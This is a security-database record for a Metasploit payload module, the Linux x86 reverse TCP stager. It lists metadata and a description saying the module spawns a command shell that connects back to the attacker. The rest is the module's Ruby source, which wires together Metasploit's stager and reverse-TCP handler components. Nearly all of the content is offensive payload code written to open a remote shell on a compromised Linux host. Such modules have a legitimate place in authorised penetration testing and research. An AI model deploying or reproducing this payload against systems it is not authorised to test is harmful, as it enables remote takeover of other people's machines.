Linux Command Shell, Reverse TCP Stager

2006-01-16T02:59:47
ID MSF:PAYLOAD/LINUX/X86/SHELL/REVERSE_TCP
Type metasploit
Reporter Rapid7
Modified 2017-08-15T12:02:51

Description

Spawn a command shell (staged). Connect back to the attacker

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/handler/reverse_tcp'
require 'msf/core/payload/linux/reverse_tcp'

module MetasploitModule

  CachedSize = 123

  include Msf::Payload::Stager
  include Msf::Payload::Linux::ReverseTcp_x86

  def initialize(info = {})
    super(merge_info(info,
      'Name'        => 'Reverse TCP Stager',
      'Description' => 'Connect back to the attacker',
      'Author'      => [ 'skape', 'egypt', 'tkmru' ],
      'License'     => MSF_LICENSE,
      'Platform'    => 'linux',
      'Arch'        => ARCH_X86,
      'Handler'     => Msf::Handler::ReverseTcp,
      'Stager'      => { 'Payload' => '' }))
  end
end